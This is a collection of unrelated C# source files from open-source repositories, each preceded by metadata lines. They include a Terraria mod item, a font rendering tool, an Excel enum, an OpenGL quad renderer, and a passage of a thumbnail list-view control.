pulumi/pulumi-azure-nextgen
sdk/dotnet/Network/V20200801/WebApplicationFirewallPolicy.cs
9,627
C#
namespace Serenity { public interface IValidateRequired { bool Required { get; set; } } }
15.714286
38
0.609091
[ "MIT" ]
davidzhang9990/SimpleProject
Serenity.Script.UI/PropertyGrid/IValidateRequired.cs
112
C#
using Terraria.ID; using Terraria.ModLoader; namespace ExampleMod.Items.Placeable { public class ExampleClock : ModItem { public override void SetStaticDefaults() { Tooltip.SetDefault("This is a modded clock."); } public override void SetDefaults() { item.width = 26; item.height = 22; item.maxStack = 99; item.useTurn = true; item.autoReuse = true; item.useAnimation = 15; item.useTime = 10; item.useStyle = ItemUseStyleID.SwingThrow; item.consumable = true; item.value = 500; item.createTile = ModContent.TileType<Tiles.ExampleClock>(); } public override void AddRecipes() { ModRecipe recipe = new ModRecipe(mod); recipe.AddIngredient(ItemID.GrandfatherClock); recipe.AddIngredient(ModContent.ItemType<ExampleBlock>(), 10); recipe.SetResult(this); recipe.AddRecipe(); } } }
24.823529
65
0.708531
[ "MIT" ]
64bitDevelopment/tModLoader64b
ExampleMod/Items/Placeable/ExampleClock.cs
844
C#
using System.Reflection; using System.Runtime.InteropServices; [assembly: AssemblyTitle("Markdig.SyntaxHighlighting.Tests")] [assembly: AssemblyDescription("")] [assembly: Guid("b0696b7b-33c0-49b3-b8b2-de07a7fcfbe9")]
36.5
61
0.803653
[ "Apache-2.0" ]
Jeern/Markdig.SyntaxHighlighting
src/Markdig.SyntaxHighlighting.Tests/Properties/AssemblyInfo.cs
221
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ using Plugin.Bright.Serialization; using System.Collections.Generic; namespace cfg.cost { public sealed partial class CostOneItem : cost.Cost { public CostOneItem(ByteBuf _buf) : base(_buf) { ItemId = _buf.ReadInt(); } public static CostOneItem DeserializeCostOneItem(ByteBuf _buf) { return new cost.CostOneItem(_buf); } public int ItemId { get; private set; } public item.Item ItemId_Ref { get; private set; } public const int ID = -1033587381; public override int GetTypeId() => ID; public override void Resolve(Dictionary<string, object> _tables) { base.Resolve(_tables); this.ItemId_Ref = (_tables["item.TbItem"] as item.TbItem).GetOrDefault(ItemId); } public override void TranslateText(System.Func<string, string, string> translator) { base.TranslateText(translator); } public override string ToString() { return "{ " + "ItemId:" + ItemId + "," + "}"; } } }
25.054545
87
0.565312
[ "Apache-2.0" ]
StanRuaW/AshFramework
client/Editor/AshFramework/Assets/Config/output_code/cost/CostOneItem.cs
1,378
C#
using HackerConsole.Scripting; class ExampleScript : ICommandScript { IConsole console; public void Load(object[] args) { this.console = (IConsole) args[0]; } public void RunScript(string[] args) { console.WriteLine("Length of args: {0}", args.Length); } public string GetCommandName() { return "example"; } }
18.166667
56
0.700306
[ "MIT" ]
LasseSkogland/HackerConsole
HackerConsole/scripts/example.cs
327
C#
using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; namespace TownMapDisplay { enum ProgramMode { None, GUI, png } static class Program { static void PrintUsage() { Console.WriteLine("FontDisplay"); Console.WriteLine(" -fontinfofile ffinfo.bin/tov.elf"); Console.WriteLine(" -fontinfofiletype fontinfo/elf"); Console.WriteLine(" -textfile text.txt"); Console.WriteLine(" -mode gui/png"); Console.WriteLine(" -font FONTTEX10.TXV"); Console.WriteLine(" -fontblock 0"); Console.WriteLine(" -outfile out.png"); Console.WriteLine(" -boxbybox"); Console.WriteLine(" -dialoguebubble"); } /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main(string[] args) { /* FontDisplay -fontinfofile tov.elf -fontinfofiletype elf/fontinfo -textfile text.txt -mode gui/png -font FONTTEX10 -fontblock 0 -outfile text.png */ Util.Path = "ffinfo.bin"; Util.FontInfoOffset = 0; String Textfile = null; ProgramMode Mode = ProgramMode.GUI; String Font = "FONTTEX10.TXV"; int Fontblock = 0; String Outfile = "out.png"; bool BoxByBox = false; bool DialogueBoxColor = false; try { for (int i = 0; i < args.Length; i++) { switch (args[i].ToLowerInvariant()) { case "-fontinfofile": Util.Path = args[++i]; break; case "-fontinfofiletype": switch (args[++i].ToLowerInvariant()) { case "elf": Util.FontInfoOffset = 0x00720860; break; case "fontinfo": Util.FontInfoOffset = 0; break; } break; case "-textfile": Textfile = args[++i]; break; case "-mode": switch (args[++i].ToLowerInvariant()) { case "gui": Mode = ProgramMode.GUI; break; case "png": Mode = ProgramMode.png; break; } break; case "-font": Font = args[++i]; break; case "-fontblock": Fontblock = Int32.Parse(args[++i]); break; case "-outfile": Outfile = args[++i]; break; case "-boxbybox": BoxByBox = true; break; case "-dialoguebubble": DialogueBoxColor = true; break; } } } catch ( IndexOutOfRangeException ) { PrintUsage(); return; } try { byte[] File = System.IO.File.ReadAllBytes(Util.Path); FontInfo[] f = new FontInfo[6]; f[0] = new FontInfo(File, Util.FontInfoOffset); f[1] = new FontInfo(File, Util.FontInfoOffset + 0x880); f[2] = new FontInfo(File, Util.FontInfoOffset + 0x880 * 2); f[3] = new FontInfo(File, Util.FontInfoOffset + 0x880 * 3); f[4] = new FontInfo(File, Util.FontInfoOffset + 0x880 * 4); f[5] = new FontInfo(File, Util.FontInfoOffset + 0x880 * 5); String[] TextLines = null; if ( Textfile != null ) { TextLines = System.IO.File.ReadAllLines(Textfile); } Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Form1 form = new Form1(f, Font, Fontblock, TextLines, BoxByBox, DialogueBoxColor); if (Mode == ProgramMode.GUI) { Application.Run(form); } else if (Mode == ProgramMode.png) { form.SaveAsPng(Outfile); } } catch (Exception ex) { Console.WriteLine(ex.ToString()); PrintUsage(); return; } } } }
33.942675
98
0.387127
[ "MIT" ]
AdmiralCurtiss/ToVPatcher
Scripts/tools/FontDisplay/TownMapDisplay/Program.cs
5,331
C#
using System; using NetOffice; namespace NetOffice.ExcelApi.Enums { /// <summary> /// SupportByVersion Excel 14, 15 /// </summary> ///<remarks> MSDN Online Documentation: http://msdn.microsoft.com/en-us/en-us/library/office/ff839271.aspx </remarks> [SupportByVersionAttribute("Excel", 14,15)] [EntityTypeAttribute(EntityType.IsEnum)] public enum XlCellChangedState { /// <summary> /// SupportByVersion Excel 14, 15 /// </summary> /// <remarks>1</remarks> [SupportByVersionAttribute("Excel", 14,15)] xlCellNotChanged = 1, /// <summary> /// SupportByVersion Excel 14, 15 /// </summary> /// <remarks>2</remarks> [SupportByVersionAttribute("Excel", 14,15)] xlCellChanged = 2, /// <summary> /// SupportByVersion Excel 14, 15 /// </summary> /// <remarks>3</remarks> [SupportByVersionAttribute("Excel", 14,15)] xlCellChangeApplied = 3 } }
27.441176
120
0.639871
[ "MIT" ]
NetOffice/NetOffice
Source/Excel/Enums/XlCellChangedState.cs
933
C#
using System; using Rebus.Extensions; namespace Rebus.Topic; /// <summary> /// Default convention to name topics after their "short assembly-qualified type names", which is /// an assembly- and namespace-qualified type name without assembly version and public key token info. /// </summary> public class DefaultTopicNameConvention : ITopicNameConvention { /// <summary> /// Returns the default topic name based on the "short assembly-qualified type name", which is /// an assembly- and namespace-qualified type name without assembly version and public key token info. /// </summary> public string GetTopic(Type eventType) { return eventType.GetSimpleAssemblyQualifiedName(); } }
35.85
106
0.735007
[ "MIT" ]
bog1978/Rebus
Rebus/Topic/DefaultTopicNameConvention.cs
719
C#
using System; using System.Linq; using GDT.Generation; using GDT.Model; namespace GDT.Tests.PipelineTests.Steps { public class AreaTileConnectorStep : IPipelineStep { public string Name { get; } = "AreaTileConnectorStep"; private readonly string _parentLayerName; private readonly string _childLayerName; private static readonly Random Random = new Random(); public AreaTileConnectorStep(string parentLayerName, string childLayerName) { _parentLayerName = parentLayerName; _childLayerName = childLayerName; } public Graph ExecuteStep(Graph graph) { var parentLayer = graph.GetLayer(_parentLayerName); var childLayer = graph.GetLayer(_childLayerName); if (parentLayer == null || childLayer == null) throw new NullReferenceException($"parent ({parentLayer}) or child ({childLayer}) layer is null!"); foreach (var parentRelation in parentLayer.Relations) { ConnectChildren(parentRelation, childLayer); } return graph; } private void ConnectChildren(Relation parentRelation, Layer childLayer) { var np0 = parentRelation.Entities[0]; var np1 = parentRelation.Entities[1]; var cp0 = FindRandomUnconnectedChildNode(np0, childLayer); var cp1 = FindRandomUnconnectedChildNode(np1, childLayer); childLayer.AddRelation(cp0, cp1, $"InterCon: {np0.Name} to {np1.Name}"); } private Entity FindRandomUnconnectedChildNode(Entity parentEntity, Layer childLayer) { var unconnectedChildren = parentEntity.Children.Where(childNode => childLayer.CountNeighbors(childNode) == 1).ToList(); if (unconnectedChildren.Count == 0) throw new ArgumentException("The passed layers contained an invalid neighbor setup (neighbor count invalid)!"); return unconnectedChildren[Random.Next(0, unconnectedChildren.Count - 1)]; } } }
37.581818
159
0.657475
[ "MIT" ]
game-graphs/game-graph-library
GDT.Test/source/Tests/PipelineTests/Steps/AreaTileConnectorStep.cs
2,069
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading.Tasks; using Microsoft.Azure.WebJobs.Script.Config; namespace Microsoft.Azure.WebJobs.Script.Description.Node.TypeScript { public class TypeScriptCompilationService : ICompilationService<IJavaScriptCompilation> { private readonly TypeScriptCompilationOptions _compilationOptions; public TypeScriptCompilationService(TypeScriptCompilationOptions compilationOptions) { _compilationOptions = compilationOptions; } public string Language => "TypeScript"; public IEnumerable<string> SupportedFileTypes => new[] { ".ts" }; public bool PersistsOutput => true; async Task<object> ICompilationService.GetFunctionCompilationAsync(FunctionMetadata functionMetadata) => await GetFunctionCompilationAsync(functionMetadata); public async Task<IJavaScriptCompilation> GetFunctionCompilationAsync(FunctionMetadata functionMetadata) { return await TypeScriptCompilation.CompileAsync(functionMetadata.ScriptFile, _compilationOptions); } } }
35.837838
112
0.751885
[ "MIT" ]
Armandd123/azure-functions-host
src/WebJobs.Script/Description/Node/Compilation/TypeScript/TypeScriptCompilationService.cs
1,328
C#
using OpenTK.Graphics.OpenGL; using System; namespace Template_P3 { public class ScreenQuad { // data members int vbo_idx = 0, vbo_vert = 0; float[] vertices = { -1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, -1, 0, 1, 0, -1, -1, 0, 0, 0 }; int[] indices = { 0, 1, 2, 3 }; // constructor public ScreenQuad() { } // initialization; called during first render public void Prepare(Shader shader) { if (vbo_vert != 0) return; // we've already been here // prepare VBO for quad rendering GL.GenBuffers(1, out vbo_vert); GL.BindBuffer(BufferTarget.ArrayBuffer, vbo_vert); GL.BufferData(BufferTarget.ArrayBuffer, (IntPtr)(4 * 5 * 4), vertices, BufferUsageHint.StaticDraw); GL.GenBuffers(1, out vbo_idx); GL.BindBuffer(BufferTarget.ElementArrayBuffer, vbo_idx); GL.BufferData(BufferTarget.ElementArrayBuffer, (IntPtr)(16), indices, BufferUsageHint.StaticDraw); } // render the mesh using the supplied shader and matrix public void Render(Shader shader, int textureID) { // on first run, prepare buffers Prepare(shader); // enable texture GL.Uniform1(shader.uniform_texture, 0); GL.ActiveTexture(TextureUnit.Texture0); GL.BindTexture(TextureTarget.Texture2D, textureID); // enable shader GL.UseProgram(shader.programID); // enable position and uv attributes GL.EnableVertexAttribArray(shader.attribute_vpos); GL.EnableVertexAttribArray(shader.attribute_vuvs); // bind interleaved vertex data GL.EnableClientState(ArrayCap.VertexArray); GL.BindBuffer(BufferTarget.ArrayBuffer, vbo_vert); GL.InterleavedArrays(InterleavedArrayFormat.T2fV3f, 20, IntPtr.Zero); // link vertex attributes to shader parameters GL.VertexAttribPointer(shader.attribute_vpos, 3, VertexAttribPointerType.Float, false, 20, 0); GL.VertexAttribPointer(shader.attribute_vuvs, 2, VertexAttribPointerType.Float, false, 20, 3 * 4); // bind triangle index data and render GL.BindBuffer(BufferTarget.ElementArrayBuffer, vbo_idx); GL.DrawArrays(PrimitiveType.Quads, 0, 4); // disable shader GL.UseProgram(0); } } }
37.41791
111
0.601117
[ "Unlicense" ]
Doycie/GraphicsPracticum3
quad.cs
2,509
C#
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. using System; using System.Collections.Generic; using System.Diagnostics; namespace Microsoft.Management.UI.Internal { /// <summary> /// The CustomTypeComparer is responsible for holding custom comparers /// for different types, which are in turn used to perform comparison /// operations instead of the default IComparable comparison. /// with a custom comparer. /// </summary> [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.MSInternal", "CA903:InternalNamespaceShouldNotContainPublicTypes")] public static class CustomTypeComparer { private static Dictionary<Type, object> comparers = new Dictionary<Type, object>(); /// <summary> /// The static constructor. /// </summary> static CustomTypeComparer() { comparers.Add(typeof(DateTime), new DateTimeApproximationComparer()); } /// <summary> /// Compares two objects and returns a value indicating /// whether one is less than, equal to, or greater than the other. /// </summary> /// <param name="value1"> /// The first object to compare. /// </param> /// <param name="value2"> /// The second object to compare. /// </param> /// <typeparam name="T"> /// A type implementing IComparable. /// </typeparam> /// <returns> /// If value1 is less than value2, then a value less than zero is returned. /// If value1 equals value2, than zero is returned. /// If value1 is greater than value2, then a value greater than zero is returned. /// </returns> public static int Compare<T>(T value1, T value2) where T : IComparable { IComparer<T> comparer; if (TryGetCustomComparer<T>(out comparer) == false) { return value1.CompareTo(value2); } return comparer.Compare(value1, value2); } private static bool TryGetCustomComparer<T>(out IComparer<T> comparer) where T : IComparable { comparer = null; object uncastComparer = null; if (comparers.TryGetValue(typeof(T), out uncastComparer) == false) { return false; } Debug.Assert(uncastComparer is IComparer<T>, "must be IComparer"); comparer = (IComparer<T>)uncastComparer; return true; } } }
34.413333
131
0.600542
[ "MIT" ]
3v1lW1th1n/PowerShell-1
src/Microsoft.Management.UI.Internal/ManagementList/Common/CustomTypeComparer.cs
2,581
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Networking; public class OnlineGameSpawner : NetworkBehaviour { public GameObject ballPrefab; public GameObject leftWallPrefab; public GameObject rightWallPrefab; public override void OnStartServer() { GameObject ball = Instantiate<GameObject>(ballPrefab, new Vector3(0f, 0f, -9f), Quaternion.identity); GameObject leftWall = Instantiate<GameObject>(leftWallPrefab, new Vector3(9.38f, 0f, -9f), Quaternion.identity); GameObject rightWall = Instantiate<GameObject>(rightWallPrefab, new Vector3(-9.38f, 0f, -9f), Quaternion.identity); NetworkServer.Spawn(ball); NetworkServer.Spawn(leftWall); NetworkServer.Spawn(rightWall); } }
34.826087
123
0.735331
[ "MIT" ]
Firenz/pong-multiplayer
Assets/Scripts/OnlineGame/OnlineGameSpawner.cs
803
C#
using System; using System.Collections.Generic; using System.Diagnostics; namespace TemplatesShared { public interface IPromptInvoker { Prompt GetPromptResult(Prompt prompt); List<Prompt> GetPromptResult(List<Prompt> prompts); } public class PromptInvoker : IPromptInvoker { private IConsoleWrapper _console; public PromptInvoker(IConsoleWrapper consoleWrapper) { Debug.Assert(consoleWrapper != null); _console = consoleWrapper; } public List<Prompt> GetPromptResult(List<Prompt> prompts) { foreach(var prompt in prompts) { GetPromptResult(prompt); } return prompts; } public Prompt GetPromptResult(Prompt prompt) { Debug.Assert(prompt != null); _console.WriteLine(); _console.Write(prompt.Text); switch (prompt.PromptType) { case PromptType.TrueFalse: GetPromptResult(prompt as TrueFalsePrompt); break; case PromptType.FreeText: GetPromptResult(prompt as FreeTextPrompt); break; case PromptType.PickOne: GetPromptResult(prompt as OptionsPrompt); break; case PromptType.PickMany: GetPromptResult(prompt as OptionsPrompt); break; default: throw new NotImplementedException(); } return prompt; } protected TrueFalsePrompt GetPromptResult(TrueFalsePrompt prompt) { _console.Write(" - (y/n)"); _console.WriteLine(); _console.Write(">>"); bool? result = null; while (result == null) { var keypressed = _console.ReadKey(); switch (keypressed.Key) { case ConsoleKey.Y: result = true; break; case ConsoleKey.N: result = false; break; } } prompt.Result = result; return prompt; } protected FreeTextPrompt GetPromptResult(FreeTextPrompt prompt) { _console.Write(" - (press enter after response)"); _console.WriteLine(); _console.Write(">>"); var origPosn = _console.GetCursorPosition(); while (true) { prompt.Result = _console.ReadLine(); if (!string.IsNullOrWhiteSpace((string)prompt.Result)) { prompt.Result = ((string)prompt.Result).Trim(); break; } else { _console.SetCursorPosition(origPosn); } } _console.SetCursorPosition(origPosn); return prompt; } protected OptionsPrompt GetPromptResult(OptionsPrompt prompt) { _console.Write(" - (press enter after selection)"); _console.WriteLine(); _console.IncreaseIndent(); var promptCursorMap = new Dictionary<(int CursorLeft, int CursorRight), UserOption>(); var cursorList = new List<(int CursorLeft, int CursorTop)>(); foreach(var uo in prompt.UserOptions) { _console.WriteIndent(); _console.Write("["); // capture cursor location now cursorList.Add(_console.GetCursorPosition()); promptCursorMap.Add(_console.GetCursorPosition(), uo); _console.Write(" "); _console.Write("] "); _console.WriteLine(uo.Text); } var endCursorLocation = _console.GetCursorPosition(); // put cursor at first location _console.SetCursorPosition(cursorList[0]); int currentIndex = 0; // handle key events var continueLoop = true; while (continueLoop) { var key = _console.ReadKey(true); switch (key.Key) { case ConsoleKey.UpArrow: currentIndex = currentIndex > 0 ? (--currentIndex) % cursorList.Count : cursorList.Count - 1; _console.SetCursorPosition(cursorList[currentIndex]); break; case ConsoleKey.DownArrow: currentIndex = (++currentIndex) % cursorList.Count; _console.SetCursorPosition(cursorList[currentIndex]); break; case ConsoleKey.Spacebar: var orgCursorPosn = _console.GetCursorPosition(); var selectedOption = GetPromptAtPosition(orgCursorPosn); if(selectedOption != null) { var isSelected = selectedOption.ToggleIsSelected(); if (prompt.PromptType == PromptType.PickOne) { foreach (var uo in prompt.UserOptions) { if (!uo.Equals(selectedOption)) { uo.IsSelected = false; } } RedrawOptionValues(promptCursorMap); } var charToWrite = isSelected ? 'X' : ' '; var posn = _console.GetCursorPosition(); _console.Write(charToWrite); _console.SetCursorPosition(posn); } break; case ConsoleKey.Q: case ConsoleKey.Enter: continueLoop = false; break; default: break; } } UserOption GetPromptAtPosition((int cursorLeft, int cursorTop) cursorPosition) { UserOption found; promptCursorMap.TryGetValue(cursorPosition, out found); return found; } void ResetAllOptions(List<UserOption> userOptions) { userOptions.ForEach((uo) => uo.IsSelected = false); } void RedrawOptionValues(Dictionary<(int CursorLeft, int CursorRight), UserOption>cursorOptionMap) { var originalCursorPosn = _console.GetCursorPosition(); foreach(var posn in cursorOptionMap.Keys) { _console.SetCursorPosition(posn); var charToWrite = cursorOptionMap[posn].IsSelected ? 'X' : ' '; _console.Write(charToWrite); } _console.SetCursorPosition(originalCursorPosn); } // reset cursor to it's original location _console.SetCursorPosition(endCursorLocation); _console.DecreaseIndent(); return prompt; } protected bool? ConvertToBool(ConsoleKey key) => key switch { ConsoleKey.Y => true, ConsoleKey.N => false, _ => null }; } }
39.787234
117
0.490775
[ "Apache-2.0" ]
sayedihashimi/dotnet-new-web
src/TemplatesShared/Console/PromptInvoker.cs
7,482
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; using Microsoft.Azure.WebJobs.Host.Bindings; using Microsoft.Azure.WebJobs.Host.Blobs; using Microsoft.WindowsAzure.Storage.Blob; using Microsoft.WindowsAzure.Storage.Table; namespace Microsoft.Azure.WebJobs { internal static class StorageExtensions { // $$$ Move to better place. From internal static void ValidateContractCompatibility<TPath>(this IBindablePath<TPath> path, IReadOnlyDictionary<string, Type> bindingDataContract) { if (path == null) { throw new ArgumentNullException("path"); } BindingTemplateExtensions.ValidateContractCompatibility(path.ParameterNames, bindingDataContract); } public static string GetBlobPath(this ICloudBlob blob) { return ToBlobPath(blob).ToString(); } public static BlobPath ToBlobPath(this ICloudBlob blob) { if (blob == null) { throw new ArgumentNullException("blob"); } return new BlobPath(blob.Container.Name, blob.Name); } public static Task<TableResult> ExecuteAsync(this CloudTable table, TableOperation operation, CancellationToken cancellationToken) { return table.ExecuteAsync(operation, null, null, cancellationToken); } public static TableOperation CreateInsertOperation(this CloudTable sdk, ITableEntity entity) { var sdkOperation = TableOperation.Insert(entity); return sdkOperation; } public static TableOperation CreateInsertOrReplaceOperation(this CloudTable sdk, ITableEntity entity) { var sdkOperation = TableOperation.InsertOrReplace(entity); return sdkOperation; } public static TableOperation CreateReplaceOperation(this CloudTable sdk, ITableEntity entity) { var sdkOperation = TableOperation.Replace(entity); return sdkOperation; } public static TableOperation CreateRetrieveOperation<TElement>(this CloudTable table, string partitionKey, string rowKey) where TElement : ITableEntity, new() { return Retrieve<TElement>(partitionKey, rowKey); } public static TableOperation Retrieve<TElement>(string partitionKey, string rowKey) where TElement : ITableEntity, new() { TableOperation sdkOperation = TableOperation.Retrieve<TElement>(partitionKey, rowKey); return sdkOperation; //var resolver = new TypeEntityResolver<TElement>(); $$$ Not used? //return new StorageTableOperation(sdkOperation, partitionKey, rowKey, resolver); } public static Task<IList<TableResult>> ExecuteBatchAsync(this CloudTable sdk, TableBatchOperation batch, CancellationToken cancellationToken) { return sdk.ExecuteBatchAsync(batch, requestOptions: null, operationContext: null, cancellationToken: cancellationToken); } public static Task CreateIfNotExistsAsync(this CloudTable sdk, CancellationToken cancellationToken) { return sdk.CreateIfNotExistsAsync(requestOptions: null, operationContext: null, cancellationToken: cancellationToken); } } }
37.208333
152
0.677212
[ "MIT" ]
zhencui/azure-webjobs-sdk
src/Microsoft.Azure.WebJobs.Extensions.Storage/StorageExtensions.cs
3,574
C#
using Surging.Core.CPlatform.Runtime.Session; using Surging.Core.Domain.Entities; using Surging.Core.Domain.Entities.Auditing; using System; namespace Surging.Core.Dapper.Filters.Action { public class ModificationAuditDapperActionFilter<TEntity, TPrimaryKey> : DapperActionFilterBase, IAuditActionFilter<TEntity, TPrimaryKey> where TEntity : class, IEntity<TPrimaryKey> { public void ExecuteFilter(TEntity entity) { var loginUser = NullSurgingSession.Instance; if (typeof(IModificationAudited).IsAssignableFrom(typeof(TEntity)) && loginUser != null) { var record = entity as IModificationAudited; if (record.LastModifierUserId == null) { record.LastModifierUserId = loginUser.UserId; } record.LastModificationTime = DateTime.Now; } } } }
34.296296
185
0.649028
[ "MIT" ]
DotNetExample/Surging.Sample
src/Core/Surging.Core.Dapper/Filters/Action/ModificationAuditDapperActionFilter.cs
928
C#
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace AudioSessionMonitorExample { static class Program { /// <summary> /// Punto di ingresso principale dell'applicazione. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } }
23.086957
65
0.629002
[ "Apache-2.0" ]
MAVREE/AudioSessionMonitorExample
Program.cs
533
C#
using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Windows.Forms; namespace net.elfmission.WindowsApps.Controls { /// <summary> /// サムネイルビューコントロールを表します。 /// </summary> public class elfThumbNailView : elfListView { #region "Win32API" /// <summary> /// Windowメッセージを送信します。 /// </summary> /// <param name="hWnd">送信先ウィンドウのハンドルを表すIntPtr。</param> /// <param name="Msg">メッセージを表すuint。</param> /// <param name="wParam">メッセージの最初のパラメータを表すint。</param> /// <param name="lParam">メッセージの 2 番目のパラメータを表す</param> /// <returns></returns> [DllImport("user32.dll", CharSet = CharSet.Auto)] private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, int wParam, ref LVITEM lParam); #endregion #region "変数・定数" /// <summary> /// システム属性を表すオーバーレイアイコンインデックス。 /// </summary> private const int IDX_OVERLAY_SYSTEM = 1; /// <summary> /// イメージフォルダのパスを表します。。 /// </summary> private string imgFolderPath = string.Empty; /// <summary> /// 対象の拡張子リストを表します。 /// </summary> private List<string> extensionList = null; /// <summary> /// サムネイルのサイズを表します。 /// </summary> private ThumbNailSize thumbSize = ThumbNailSize.MediumImage; /// <summary> /// サムネイル保持用のImageListを表します。 /// </summary> private ImageList imgList = null; /// <summary> /// サムネイルアイテムリストを表します。 /// </summary> private List<ThumbNailItem> itemList = new List<ThumbNailItem>(); #endregion #region "プロパティ" /// <summary> /// サムネイルの個数を取得します。 /// </summary> [Browsable(false)] public int ThumbNailCount { get { return this.itemList.Count; } } /// <summary> /// サムネイルの色数を取得・設定します。 /// </summary> [DefaultValue(ColorDepth.Depth24Bit)] public ColorDepth ThumbNailColorDepth { get; set; } = ColorDepth.Depth24Bit; /// <summary> /// サムネイルのサイズを取得します。 /// </summary> [DefaultValue(ThumbNailSize.MediumImage), Browsable(false)] public ThumbNailSize ThumbNailSize { get { return this.thumbSize; } } /// <summary> /// ImageCodecInfoの拡張子リストを取得します。 /// </summary> /// <param name="extensions"></param> /// <returns></returns> private List<string> getExtensionsFromCodec(string extensions) { var retList = new List<string>(); foreach (var ext in extensions.Split(new char[] { ';' })) { retList.Add(ext.Replace("*", "").ToLower()); } return retList; } /// <summary> /// 指定したフォーマット文字列が対象拡張子に含まれているかを取得します。 /// </summary> /// <param name="formatDescription">フォーマット文字列。</param> /// <returns>指定したフォーマット文字列が対象拡張子に含まれているかを表すbool。</returns> private bool hasExtensionFlag(string formatDescription) { switch (formatDescription) { case "BMP": return this.TargetExtensions.HasFlag(SupportedImageTypes.Bitmap); case "GIF": return this.TargetExtensions.HasFlag(SupportedImageTypes.Gif); case "JPEG": return this.TargetExtensions.HasFlag(SupportedImageTypes.Jpeg); case "PNG": return this.TargetExtensions.HasFlag(SupportedImageTypes.Png); default: return false; } } /// <summary> /// 対象の拡張子リストを作成します。 /// </summary> private void createExtensionList() { this.extensionList = new List<string>(); foreach (var imgCodec in ImageCodecInfo.GetImageDecoders()) { if (this.hasExtensionFlag(imgCodec.FormatDescription)) { this.extensionList.AddRange(this.getExtensionsFromCodec(imgCodec.FilenameExtension)); } } } /// <summary> /// 対象の拡張子を取得・設定します。 /// </summary> [Editor(typeof(Designs.TargetExtensionEditor), typeof(System.Drawing.Design.UITypeEditor)), DefaultValue(SupportedImageTypes.Bitmap | SupportedImageTypes.Gif | SupportedImageTypes.Jpeg | SupportedImageTypes.Png)] public SupportedImageTypes TargetExtensions { get; set; } = SupportedImageTypes.Bitmap | SupportedImageTypes.Gif | SupportedImageTypes.Jpeg | SupportedImageTypes.Png; /// <summary> /// イメージフォルダのパスを取得・設定します。 /// </summary> [DefaultValue(""), Browsable(false)] public string ImageFolderPath { get { return this.imgFolderPath; } } #region "非公開プロパティ" /// <summary> /// VirtualListSizeプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new int VirtualListSize { get; set; } = 0; /// <summary> /// Viewプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new View View { get; set; } = View.LargeIcon; /// <summary> /// StateImageListプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ImageList StateImageList { get; set; } = null; /// <summary> /// Sortingプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new SortOrder Sorting { get; set; } = SortOrder.None; /// <summary> /// Itemsプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ListViewItemCollection Items { get { return base.Items; } } /// <summary> /// ImeModeプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ImeMode ImeMode { get; set; } = ImeMode.NoControl; /// <summary> /// LabelEditプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new bool LabelEdit { get; set; } = false; /// <summary> /// HeaderStyleプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ColumnHeaderStyle HeaderStyle { get; set; } = ColumnHeaderStyle.Clickable; /// <summary> /// GridLinesプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new bool GridLines { get; set; } = false; /// <summary> /// FullRowSelectプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new bool FullRowSelect { get; set; } = false; /// <summary> /// Columnsプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ListView.ColumnHeaderCollection Columns { get { return base.Columns; } } /// <summary> /// BackgroundImageTiledプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new bool BackgroundImageTiled { get; set; } = false; /// <summary> /// BackgroundImageプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new Image BackgroundImage { get; set; } = null; /// <summary> /// AllowColumnReorderプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new bool AllowColumnReorder { get; set; } = false; /// <summary> /// HideSelectionプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new bool HideSelection { get; set; } = false; /// <summary> /// LargeImageListプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ImageList LargeImageList { get; set; } /// <summary> /// SmallImageListプロパティは非公開。 /// </summary> [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] public new ImageList SmallImageList { get; set; } = null; #endregion #endregion #region "イベント" /// <summary> /// ItemDoubleClickイベントデリゲート。 /// </summary> /// <param name="sender">イベントのソース。</param> /// <param name="e">イベントデータを格納しているItemDoubleClickEventArges。</param> public delegate void ItemDoubleClickEvent(object sender, ItemDoubleClickEventArges e); /// <summary> /// ItemDoubleClickイベントハンドラ。 /// </summary> public event ItemDoubleClickEvent ItemDoubleClick; #endregion #region 